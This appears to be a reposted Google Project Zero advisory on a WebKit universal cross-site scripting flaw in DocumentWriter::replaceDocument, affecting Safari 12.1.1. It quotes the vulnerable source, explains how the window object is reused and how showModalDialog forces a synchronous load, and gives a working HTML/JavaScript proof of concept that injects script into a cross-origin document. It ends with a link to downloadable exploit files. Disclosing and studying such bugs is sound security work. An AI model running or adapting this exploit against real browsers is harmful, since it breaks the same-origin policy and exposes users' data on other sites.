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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
VULNERABILITY DETAILS
```
void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument)
{
[...]
    begin(m_frame->document()->url(), true, ownerDocument); // ***1***

    // begin() might fire an unload event, which will result in a situation where no new document has been attached,
    // and the old document has been detached. Therefore, bail out if no document is attached.
    if (!m_frame->document())
        return;

    if (!source.isNull()) {
        if (!m_hasReceivedSomeData) {
            m_hasReceivedSomeData = true;
            m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode);
        }

        // FIXME: This should call DocumentParser::appendBytes instead of append
        // to support RawDataDocumentParsers.
        if (DocumentParser* parser = m_frame->document()->parser())
            parser->append(source.impl()); // ***2***
    }
```

```
bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument)
{
[...]
    bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3***
    if (shouldReuseDefaultView)
        document->takeDOMWindowFrom(*m_frame->document());
    else
        document->createDOMWindow();

    // Per <http://www.w3.org/TR/upgrade-insecure-requests/>, we need to retain an ongoing set of upgraded
    // requests in new navigation contexts. Although this information is present when we construct the
    // Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it
    // so we can restore it.
    HashSet<SecurityOriginData> insecureNavigationRequestsToUpgrade;
    if (auto* existingDocument = m_frame->document())
        insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade();
    
    m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView);
    clear();

    // m_frame->loader().clear() might fire unload event which could remove the view of the document.
    // Bail out if document has no view.
    if (!document->view())
        return false;

    if (!shouldReuseDefaultView)
        m_frame->script().updatePlatformScriptObjects();

    m_frame->loader().setOutgoingReferrer(url);
    m_frame->setDocument(document.copyRef());
[...]
    m_frame->loader().didBeginDocument(dispatch); // ***4***

    document->implicitOpen();
[...]
```

`DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with
a new one using the result of evaluating a javascript: URI as the document's source. The method
calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to
the parser of the active document[2]. If an attacker can perform another page load right before
returning from `begin` , the method will append an attacker-controlled string to a potentially
cross-origin document.

Under normal conditions, a javascript: URI load always makes `begin` associate the new document with
a new DOMWindow object. However, it's actually possible to meet the requirements of the
`shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the <iframe> element's
source URI to a sane value before it's inserted into the document. This will set the frame state to
`DisplayingInitialEmptyDocumentPostCommit`. Then she has to call `open` on the frame's document
right after the insertion to stop the initial load and set the document URL to a value that can pass
the `isSecureTransitionTo` check.

When the window object is re-used, all event handlers defined for the window remain active. So, for
example, when `didBeginDocument`[4] calls `setReadyState` on the new document, it will trigger the
window's "readystatechange" handler. Since `NavigationDisabler` is not active at this point, it's
possible to perform a synchronous page load using the `showModalDialog` trick.


VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
The attack won't work if the cross-origin document has no active parser by the time `begin` returns.
The easiest way to reproduce the bug is to call `document.write` from the victim page when the main
parsing task is complete. However, it's a rather artificial construct, so I've also attached another
test case, which works for regular pages, but it has to use a python script that emulates a slow web
server to run reliably.

```
<body>
<h1>Click to start</h1>
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitForLoad() {
    showModalDialog(createURL(`
        <script>
        let it = setInterval(() => {
            try {
                opener.frame.contentDocument.x;
            } catch (e) {
                clearInterval(it);
                window.close();
            }
        }, 2000);
        </scrip` + 't>'));
}

window.onclick = () => {
    frame = document.createElement('iframe');
    frame.src = location;
    document.body.appendChild(frame);

    frame.contentDocument.open();
    frame.contentDocument.onreadystatechange = () => {
        frame.contentWindow.addEventListener('readystatechange', () => {
            a = frame.contentDocument.createElement('a');
            a.href = victim_url;
            a.click();
            waitForLoad();
        }, {capture: true, once: true});
    }
    frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"';
}

victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>';
ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body> 

```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47450.zip